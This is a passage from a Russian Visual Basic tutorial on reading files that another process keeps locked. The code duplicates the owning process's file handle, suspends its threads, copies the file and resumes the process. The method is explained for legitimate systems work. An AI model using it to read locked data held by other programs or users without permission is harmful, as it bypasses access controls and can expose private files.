    Предположим, нам необходимо как-то прочитать файл, который обычными способами нельзя открыть для чтения. Будем опираться на то, что раз файл занят, то какой-то процесс имеет его описатель. Если нам удастся скопировать этот описатель к себе, то мы сможем работать с файлом так же, как работает процесс, открывший файл. Правда и тут имеются подводные камни: после копирования оба описателя (наш и процесса открывшего файл) будут указывать на один FileObject, следовательно, текущий режим ввода-вывода, позиция в файле и другая связанная с файлом информация будут общими у двух процессов. Поэтому чтение файла будет вызывать изменение позиции чтения и нарушение нормальной работы программы открывшей файл. Чтобы этого избежать, нам нужно останавливать потоки процесса владельца файла (ZwSuspendProcess или ZwSuspendThread), сохранять текущую позицию, копировать файл, восстанавливать текущую позицию и запускать процесс владелец снова. К сожалению, этот метод не всегда приемлем – например, скопировать файлы реестра на работающей системе с его помощью не удастся. Так же нам не удастся прочитать файл, если он был открыт без флага GENERIC_READ, т.е. только для записи. За более полной информацией по работе с занятыми файлами советую обратиться к статье ms-rem-а. Рассмотрим все вышесказанное на конкретном примере:

StopProcess(ProcessId)
hProcess = OpenProcess(PROCESS_DUP_HANDLE, False, ProcessId)
DuplicateHandle hProcess, Target_Handle, GetCurrentProcess, hHandle, _
      0, 0, DUPLICATE_SAME_ACCESS
‘Запомним старую позицию чтения
OldPointer = SetFilePointer(hHandle, 0, 0, FILE_CURRENT)
‘Узнаем размер файла
FileSize = GetFileSize(hHandle, 0)
‘Нам нет смысла копировать файлы нулевого размера и директории 
'(рамер директории тоже равен нулю)
If FileSize = 0 Then Exit Sub
‘Подготовим буфер для чтения данных из файла
Dim ByteArr() As Byte
ReDim ByteArr(1 To FileSize)
Dim ret As Long
‘Установим позицию в начало
SetFilePointer hHandle, 0, 0, FILE_BEGIN
‘Читаем…
If ReadFile(hHandle, ByVal VarPtr(ByteArr(1)), FileSize, _
           ByVal VarPtr(ret), 0) = 0 Then
MsgBox "Не удалось прочитать файл", vbCritical, "Ошибка"
Exit Sub 
End If
‘Запись в другой файл
Dim hFile As Long
hFile = CreateFile(“C:\Temp.txt”, GENERIC_WRITE Or GENERIC_READ, 0, 0, CREATE_ALWAYS, 0, 0)
If WriteFile(hFile, ByVal VarPtr(ByteArr(1)), UBound(ByteArr), ret, ByVal 0&) = 0 Then _
 MsgBox "Не удалось произвести запись в файл", vbCritical, "Ошибка"
‘Вернем прежнюю позицию курсора ввода-вывода
SetFilePointer hHandle, OldPointer, 0, FILE_BEGIN
‘Запускаем процесс
RunProcess(ProcessId)

Этот код достаточно хорошо прокомментирован и в дополнительных пояснениях не нуждается. Давайте теперь посмотрим, что делают функции Stop/RunProcess:

Public Function StopProcess(ByVal PID As Long) As Boolean
Dim hSnap As Long, CurThread As Long, hHandle As Long
Dim TE32 As THREADENTRY32, ret As Long
StopProcess = False
CurThread = GetCurrentThreadId
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
If hSnap <> 0 Then
    TE32.dwSize = Len(TE32)
    ret = Thread32First(hSnap, TE32)
    Do While ret <> 0
        If TE32.th32ThreadID <> CurThread And TE32.th32OwnerProcessID = PID Then
            hHandle = OpenThread(THREAD_SUSPEND_RESUME, 0, TE32.th32ThreadID)
            If hHandle = 0 Then Exit Function
            SuspendThread hHandle
            CloseHandle hHandle
        End If
        ret = Thread32Next(hSnap, TE32)
    Loop
    CloseHandle hSnap
    StopProcess = True
    Exit Function
End If
End Function

    С помощью ToolHelp функций мы перебираем все потоки целевого процесса и замораживаем их с помощью SuspendThread, причем тут предусмотрена защита от заморозки потока, вызывающего саму функцию. Код функции RunProcess точно такой же, только вместо SuspendThread используем ResumeThread. Хочу заметить, что в системах WinXP+ имеются готовые функции ZwSuspendProcess и ZwResumeProcess, но мы, в целях совместимости с более ранними версиями (такими, как Win2k) их использовать не будем.
    На этом тему работы с занятыми файлами можно считать закрытой, а вместе с ней и статью. Исходный код примеров по работе с файлами Вы найдете в приложении к статье в каталоге «\LockedFile». В этом же каталоге лежит программа Test.exe (с исходниками) – она создает в корне диска C:\ файл LockedFile.txt и ни кому не дает права его прочитать. Я специально написал эту маленькую програмулину для того, чтоб Вы могли увидеть результаты своей работы…

Благодарности

Хотелось бы выразить особую благодарность ms-rem за его статьи:
Обнаружение скытых процессов
Перехват API функций в Windows NT (часть 2).Методы внедрения кода.
3 метода работы с занятыми файлами